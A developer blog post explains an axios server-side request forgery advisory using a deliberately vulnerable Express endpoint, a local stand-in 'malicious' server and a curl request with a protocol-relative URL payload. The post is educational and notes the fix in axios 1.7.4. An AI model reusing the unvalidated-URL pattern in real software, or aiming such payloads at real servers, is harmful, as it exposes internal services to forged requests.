DEV Community

Cover image for The sad story of node update!
Jairo Fernández
Jairo Fernández

Posted on

1

The sad story of node update!

Yesterday, I was happily finishing an upgrade at work, and everything seemed perfect 😄. All the dependencies migrated smoothly, and my npm audit looked great 🚀. But then…


Image description


Server-Side Request Forgery in axios ⚠️
https://github.com/advisories/GHSA-8hc4-vh64-cxmj

Image description

I spent a lot of time fixing things, only to see that stupid message 😡. My OCD was driving me crazy 🤯.


And, I said, hmmm how exactly this error works? what the hell is SSRF? I'll try to explain fast the concept and share with you the discovery :D

SSRF, or Server-Side Request Forgery, is like tricking your server into being an unintentional errand boy 🕵️‍♂️. It’s when a hacker gets your server to make requests to places it shouldn’t, kind of like sending your dog to fetch a stick but it comes back with a bomb instead 💣. (from ChatGPT 😍)


In code please!

Normally, axios works, in your server when you need to do some external request to https://some-domain.com/api/, you can do something like this:



const instance = axios.create({
  baseURL: 'https://jsonplaceholder.typicode.com/',
  timeout: 1000,
  headers: { accept: 'application/json' }
});


Enter fullscreen mode Exit fullscreen mode

In theory, this is our innocent and pure server meant to fetch resources from jsonplaceholder:



const axios = require('axios');
const express = require('express');

const instance = axios.create({
  baseURL: 'https://jsonplaceholder.typicode.com/',
  timeout: 1000,
  headers: { accept: 'application/json' },
});

const app = express();
const port = 3000;

app.use(express.json());

app.post('/fetch-data', async (req, res) => {
  const url = req.body.url;
  try {
    const response = await instance.get(url);
    console.log(response.data);
    res.json(response.data);
  } catch (error) {
    console.error(error);
    console.log('URL:', url);
    res
      .status(500)
      .json({ message: 'Error fetching data', error: error.message });
  }
});

app.listen(port, () => {
  console.log(`Server running on http://localhost:${port}`);
});



Enter fullscreen mode Exit fullscreen mode

You can try this one on terminal:



curl -X POST http://localhost:3000/fetch-data \
 -H "Content-Type: application/json" \
 -d '{"url": "/todos/1"}'



Enter fullscreen mode Exit fullscreen mode

The response is like this:



{"userId":1,"id":1,"title":"delectus aut autem","completed":false}


Enter fullscreen mode Exit fullscreen mode

everything is beautiful, but...

Image description


Now, if you have another server (acting as a malicious server) on http://localhost:4000, what happens when the user tests it:



const axios = require('axios');
const express = require('express');

const app = express();
const port = 4000;

app.use(express.json());

app.get('/private-data', async (req, res) => {
  const url = req.body.url;
  try {
    console.log('Private URL:', url);
    console.log('WTF??????');
    res.send({ message: 'Data fetched' });
  } catch (error) {
    console.error(error);
    console.log('URL:', url);
    res.status(500).send('Error fetching data');
  }
});

app.listen(port, () => {
  console.log(`Server running on http://localhost:${port}`);
});



Enter fullscreen mode Exit fullscreen mode

Try again



curl -X POST http://localhost:3000/fetch-data \
 -H "Content-Type: application/json" \
 -d '{"url": "//localhost:4000/private-data"}'


Enter fullscreen mode Exit fullscreen mode

you will get this response:



{"message":"Data fetched"} # data from other server!


Enter fullscreen mode Exit fullscreen mode

“So, this is really bad 😱 because you’re trusting the axios instance. The good news is that within a day, the issue in axios was successfully fixed in version 1.7.4 🎉.”


If you want to play with this, please check the experiment here 👇

Heroku

This site is built on Heroku

Join the ranks of developers at Salesforce, Airbase, DEV, and more who deploy their mission critical applications on Heroku. Sign up today and launch your first app!

Get Started

Top comments (1)

Collapse
 
andres_fernandez_05a8738d profile image
Andres Fernandez

Great explanation, I finally understood this vulnerability, thanks for sharing.

A Workflow Copilot. Tailored to You.

Pieces.app image

Our desktop app, with its intelligent copilot, streamlines coding by generating snippets, extracting code from screenshots, and accelerating problem-solving.

Read the docs

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay